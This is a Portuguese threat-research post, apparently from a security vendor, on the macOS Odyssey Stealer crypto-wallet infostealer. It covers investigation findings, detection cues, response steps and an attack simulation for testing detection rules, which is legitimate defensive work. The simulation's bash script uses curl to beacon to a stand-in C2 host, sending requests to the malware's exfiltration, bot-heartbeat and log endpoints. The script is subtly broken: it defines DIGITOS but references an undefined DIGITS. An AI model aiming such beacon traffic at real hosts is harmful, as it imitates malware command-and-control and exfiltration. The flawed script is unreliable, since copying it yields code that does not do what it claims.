SOC Prime Bias: Médio

13 Feb 2026 13:13 UTC

Odyssey Stealer: Dentro de uma Operação de Furto de Criptomoedas no macOS

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Odyssey Stealer: Dentro de uma Operação de Furto de Criptomoedas no macOS
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Odyssey Stealer é um infostealer para macOS focado em carteiras de criptomoedas e extensões. Ele é comercializado como uma plataforma Malware-as-a-Service onde afiliados alugam acesso a um C2 centralizado e painel de administração. A entrega geralmente depende de AppleScript ofuscado que instala um LaunchDaemon persistente que consulta o C2 para comandos. O operador também pode substituir aplicativos legítimos da Ledger e Trezor por versões trojanizadas para capturar credenciais e dados de transações.

Investigação

Pesquisadores identificaram o C2 usando tags meta HTML únicas, hashes do corpo da página e um hash de favicon compartilhado. Eles mapearam dez hosts físicos em vários clusters de ASN, principalmente na Europa e nos Países Baixos. A dissecação do payload revelou um dropper AppleScript de múltiplos estágios, persistência de LaunchDaemon e um binário proxy SOCKS5 compilado em Go. Dados de configuração embutidos no dropper expuseram identificadores de afiliados e IDs de builds.

Mitigação

Observe atividades suspeitas de osascript, especialmente longas strings ofuscadas, arquivos plist de LaunchDaemon desconhecidos com rótulos aleatórios e solicitações POST de saída para endpoints “/log”. Alerta sobre binários gerados por LaunchDaemon e atividades suspeitas de SOCKS5. Verifique a assinatura de código para aplicações Ledger e Trezor, e bloqueie domínios e endereços IP conhecidos de C2. Treine os usuários para tratar prompts de senha inesperados e “atualizações de carteira” como de alto risco.

Resposta

Quando detectado, isole o sistema, termine o LaunchDaemon malicioso e remova aplicações de carteira trojanizadas. Capture o tráfego de rede para os domínios e IPs identificados do C2 para investigação, em seguida, redefina credenciais de criptomoeda expostas e altere senhas do macOS. Realize uma revisão forense completa para identificar artefatos adicionais.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Telemetria & Pré-voo deve ter passado.

  • Narrativa do Ataque & Comandos:
    Um adversário implantou o Odyssey Stealer em uma estação de trabalho macOS. Após comprometer o usuário, o malware inicia um beacon para seu servidor C2 para baixar payloads adicionais e exfiltrar dados colhidos. O beacon usa o curl binário (binário Apple assinado) para emitir solicitações HTTP GET para os endpoints C2 definidos na regra. O atacante escolhe esses caminhos de URI específicos porque são curtos, se misturam com o tráfego web típico e evitam a detecção por soluções genéricas de filtragem de URL.

    Etapas:

    1. Resolva o nome do host C2 (simulado como c2.odyssey.example.com).
    2. Emita uma solicitação GET para /d/aff123456 – imita o endpoint de exfiltração de dados com um código de afiliado aleatório e token numérico.
    3. Emita uma solicitação GET para /api/v1/bot/ – simula o batimento cardíaco de gerenciamento de bot.
    4. Opcionalmente, envie uma solicitação para /log para emular o tráfego de registro interno usado pelo malware para relatórios de status.
  • Script de Teste de Regressão: O seguinte script bash reproduz o tráfego exato necessário para acionar a regra de detecção.

    #!/usr/bin/env bash
    # Simulação de beacon do Odyssey Stealer para validação de detecção
    # Requisitos: curl, proxy de rede configurado conforme etapas pré-voo
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"   # ajuste para o endereço do seu proxy Squid
    
    # Função para enviar uma solicitação via proxy
    enviar_requisicao() {
        local path=$1
        echo "[*] Enviando solicitação para https://${C2_HOST}${path} via proxy ${PROXY_HOST}"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
    }
    
    # 1. Endpoint de exfiltração de dados (afiliado aleatório + dígitos)
    AFILIADO="aff$(shuf -i 1000-9999 -n 1)"
    DIGITOS=$(shuf -i 10000-99999 -n 1)
    enviar_requisicao "/d/${AFILIADO}${DIGITS}"
    
    # 2. Batimento cardíaco de gerenciamento de bot
    enviar_requisicao "/api/v1/bot/"
    
    # 3. Endpoint de registro opcional
    enviar_requisicao "/log"
    
    echo "[+] Simulação completa. Verifique os alertas no SIEM."

    Salve o script como odyssey_beacon.sh, torne-o executável (chmod +x odyssey_beacon.sh), e execute-o na máquina de teste macOS.

  • Comandos de Limpeza: Remova quaisquer arquivos temporários e opcionalmente desative o proxy para o usuário de teste.

    # Desative as configurações de proxy para a interface Wi-Fi
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (Opcional) Pare o Squid se ele foi iniciado apenas para este teste
    # brew services stop squid
    echo "Configurações de proxy restauradas e Squid parado (se aplicável)."